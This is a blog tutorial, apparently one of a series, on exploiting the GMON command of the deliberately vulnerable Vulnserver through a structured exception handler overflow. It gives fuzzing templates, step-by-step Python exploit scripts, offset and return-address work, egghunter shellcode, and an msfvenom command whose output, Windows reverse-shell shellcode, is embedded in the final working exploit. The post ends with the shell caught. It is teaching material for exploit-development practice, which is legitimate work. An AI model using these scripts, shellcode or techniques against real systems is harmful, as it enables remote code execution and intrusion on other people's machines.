Exploiting GMON in VulnServer

Exploiting GMON in VulnServer

This article continues on from my series of blog entries exploiting Vulnerver by Stephen Bradshaw.

Fresh from completing the TRUN buffer overflow it’s time to move on and attack the next component. We are going to be fuzzing and exploiting GMON in Vulnserver. Lets reuse the Spike template from our earlier fuzz of Vulnserver.

The Spike template is:

s_string("GMON");
s_string(" ");
s_string_variable("netascii");
s_string("\r\n");
sleep(1);

It’s time to start the fuzzing:

root@bt:/pentest/fuzzers/spike/src# ./generic_send_tcp 192.168.0.17 5000 audits/custom/vulnserv.spk 0 0

Straight away a crash can be observed in Immunity Debugger. A quick visual inspection of the CPU registers shows that the ECX and EBP are over written by a series of long ‘A’ strings. In Immunity Debugger by clicking “View -> SeH Chain” it is revealed that the Structured Exception Handler has been over written.

SeH OVerwrite with AAAA
SeH Overwrite

As with the other components in Vulnserver the payload that crashes the application is “GMON /.:/ AAAAA …” . All that remains is to reproduce the crash with a Python program.

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/"

buffer = 'A' * 5000         

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Identify Bad Characters

The next step is to identify bad characters so that we know what characters we have to play with in our payload. Just like our previous exploit of TRUN we embed every possible character into a payload, execute it and analyse in Immunity.

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "

payload = (
"\x01\x02\x03\x04\x05\x06\x07\x08" +
"\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
"\x11\x12\x13\x14\x15\x16\x17\x18" +
"\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
"\x21\x22\x23\x24\x25\x26\x27\x28" +
"\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
"\x31\x32\x33\x34\x35\x36\x37\x38" +
"\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
"\x41\x42\x43\x44\x45\x46\x47\x48" +
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
"\x51\x52\x53\x54\x55\x56\x57\x58" +
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
"\x61\x62\x63\x64\x65\x66\x67\x68" +
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
"\x71\x72\x73\x74\x75\x76\x77\x78" +
"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
"\x81\x82\x83\x84\x85\x86\x87\x88" +
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
"\x91\x92\x93\x94\x95\x96\x97\x98" +
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" +
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8" +
"\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8" +
"\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8" +
"\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8" +
"\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8" +
"\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = 'A' * 1000  + payload + 'A' * (4000 - len(payload))

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Looking in Immunity Debugger we can see that we are lucky, aside from \x00 we have no bad characters. This will make payload creation much easier.

Bad Character Analysis
EBX Dump with no bad characters

Target the bytes to overwrite SeH

The next step for exploiting GMON is to identify the exact bytes that overwrite SeH. Once again we define a pattern with the Metasploit Framework. It is packeaged with a nice tool called pattern_create.

root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai .......

The 5000 byte generated pattern is then embedded in our Python code and sent to the Vulnerable Server. In Immunity Debugger the SeH overwrite was observed to be 336E4532.

Generate a Pattern to overwrite SeH
Use a pattern to determine offset for SeH OVerwrite

We need to use the pattern offset tool to determine the byte offset.

root@bt:/pentest/exploits/framework/tools# ./pattern_offset.rb 336E4532 5000
3518

Success! We now know the offset is 3518 bytes.

Find a Pop Pop Ret

The next step is find a usable POP POP RET ….. somewhere! There is a DLL in use by the VulnServer. It’s time to take a look but we have to remember the bad character analysis that we performed. So long as there is no \x00 in the memory address then we should be good to go!

In Immunity we use the mona plugin to identify the POP POP RET. This is achieved by using the command !mona seh and we get the following output:

Mona POP POP RET
Mona POP POP RET

Many of the values returned are unsuitable as they either contain null bytes or they contain bad characters that we previously identified. The memory address #625010B4 looks good and it’s what we will proceed with. The python script is updated to include \xB4\x10\x50\x62 and a breakpoint is set at this address.

nSeH Conditional Jump
Execution paused 4 Bytes before SeH

Our code for exploiting GMON is now …

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'

payload = 'A' * 3518 + SeH + 'B' * 1478

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()

Jump Backwards

From the last picture we can see that there are four bytes to work with before hitting the Structured Exception Handler (SeH). The four bytes \x41\x41\x41\x41 need to be over written with a small payload to allow us to jump somewhere with a little more room. Looking in Immunity Debugger it is observed that there is plenty of space up the stack if we are able to jump backwards. The largest jump back we can make is 128 bytes with the payload \xEB\x80\x90\x90.

With the addition of the backwards jump our code now looks like:

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
jump_back = '\xEB\x80\x90\x90'

payload = 'A' * 3514 + jump_back + SeH + 'B' * 1478

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()

Egghunter

From our work so far we now have control over 128 bytes of space. Things are are starting to get interesting! What can we do with this space? It’s not nearly big enough to place code for a reverse shell. However we could place an egg hunter in this code to find our payload and exploit GMON.

From CoreLan.be Egg hunting is a technique that can be categorized as “staged shellcode”, and it basically allows you to use a small amount of custom shellcode to find your actual (bigger) shellcode (the “egg”) by searching for the final shellcode in memory.

Let's take the egghunter code from the CoreLAN article... \x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

Our code now looks like ….

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
jump_back = '\xEB\x80\x90\x90'
egghunter = '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'

payload = 'A' * 3000 + '\x90' *(514-len(egghunter)) + egghunter + jump_back + SeH + '\x90' * 1478

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()

We can view this is Immunity Debugger in the picture below. You can see the NOP sled that leads in to the Egghunter code.

NOP Sled Leading to Egg Hunter Code
NOP Sled to Egg Hunter Code

Exploiting GMON to Catch a Reverse Shell

We are close to the end, all that remains is to create the final payload that we will use to generate a reverse shell. The easiest way to do this is to use the Metasploit Framework to generate the payload for us.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 -a x86 --platform windows -f c -b '\x00'

The generated payload can now be embedded into our final Python script. Remember we need to place the egg in front of the reverse shell payload for the egghunter to find!

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
jump_back = '\xEB\x80\x90\x90'
egghunter = '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'
egg = 'T00WT00W'

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 -a x86 --platform windows -f c -b '\x00'
#[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
#unsigned char buf[] = 
shell = (
"\xda\xc8\xbd\xfd\x66\xdf\xdb\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x4f\x83\xc2\x04\x31\x6a\x15\x03\x6a\x15\x1f\x93\x23\x33\x56"
"\x5c\xdc\xc4\x08\xd4\x39\xf5\x1a\x82\x4a\xa4\xaa\xc0\x1f\x45"
"\x41\x84\x8b\xde\x27\x01\xbb\x57\x8d\x77\xf2\x68\x20\xb8\x58"
"\xaa\x23\x44\xa3\xff\x83\x75\x6c\xf2\xc2\xb2\x91\xfd\x96\x6b"
"\xdd\xac\x06\x1f\xa3\x6c\x27\xcf\xaf\xcd\x5f\x6a\x6f\xb9\xd5"
"\x75\xa0\x12\x62\x3d\x58\x18\x2c\x9e\x59\xcd\x2f\xe2\x10\x7a"
"\x9b\x90\xa2\xaa\xd2\x59\x95\x92\xb8\x67\x19\x1f\xc1\xa0\x9e"
"\xc0\xb4\xda\xdc\x7d\xce\x18\x9e\x59\x5b\xbd\x38\x29\xfb\x65"
"\xb8\xfe\x9d\xee\xb6\x4b\xea\xa9\xda\x4a\x3f\xc2\xe7\xc7\xbe"
"\x05\x6e\x93\xe4\x81\x2a\x47\x85\x90\x96\x26\xba\xc3\x7f\x96"
"\x1e\x8f\x92\xc3\x18\xd2\xfa\x20\x16\xed\xfa\x2e\x21\x9e\xc8"
"\xf1\x99\x08\x61\x79\x07\xce\x86\x50\xff\x40\x79\x5b\xff\x49"
"\xbe\x0f\xaf\xe1\x17\x30\x24\xf2\x98\xe5\xea\xa2\x36\x56\x4a"
"\x13\xf7\x06\x22\x79\xf8\x79\x52\x82\xd2\x0f\x55\x15\x1d\xa7"
"\x59\xc0\xf5\xba\x59\x1d\x5d\x32\xbf\x77\x71\x12\x68\xe0\xe8"
"\x3f\xe2\x91\xf5\x95\x62\x31\x67\x72\x72\x3c\x94\x2d\x25\x69"
"\x6a\x24\xa3\x87\xd5\x9e\xd1\x55\x83\xd9\x51\x82\x70\xe7\x58"
"\x47\xcc\xc3\x4a\x91\xcd\x4f\x3e\x4d\x98\x19\xe8\x2b\x72\xe8"
"\x42\xe2\x29\xa2\x02\x73\x02\x75\x54\x7c\x4f\x03\xb8\xcd\x26"
"\x52\xc7\xe2\xae\x52\xb0\x1e\x4f\x9c\x6b\x9b\x7f\xd7\x31\x8a"
"\x17\xbe\xa0\x8e\x75\x41\x1f\xcc\x83\xc2\x95\xad\x77\xda\xdc"
"\xa8\x3c\x5c\x0d\xc1\x2d\x09\x31\x76\x4d\x18")

payload = '\x90' * 2000 + egg+ shell +'\x90' * (1000-len(shell+egg))+ '\x90' *(514-len(egghunter)) + egghunter + jump_back + SeH + '\x90' * 1478

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()

After all of our hard work we can see that it has been paid off. A reverse shell was received. We have successfully exploited GMON!

Reverse Shell from Vulnserver
Netcat caught the reverse shell

Leave a Reply

Your email address will not be published. Required fields are marked *